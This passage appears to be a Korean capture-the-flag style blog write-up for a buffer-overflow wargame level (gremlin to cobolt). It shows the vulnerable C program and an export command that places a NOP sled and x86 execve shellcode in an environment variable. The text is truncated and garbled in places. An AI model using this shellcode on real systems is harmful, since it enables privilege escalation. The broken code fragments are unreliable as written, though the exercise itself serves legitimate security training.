[2] gremlin -> cobolt ( Small BOF )
gremlin / hello bof world문제 풀이 전 필수입력 !![gremlin@localhost gremlin]$ /bin/bash2[gremlin@localhost gremlin]$ export SHELL=/bin/bash2 [ cobolt.c ]1234567891011int main(int argc, char *argv[]){ char buffer[16]; if(argc 1> 환경변수에 쉘 코드를 올린다$ export tmp=$(python -c 'print "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')$ env 로 확인 ! 2> ..
2017.11.17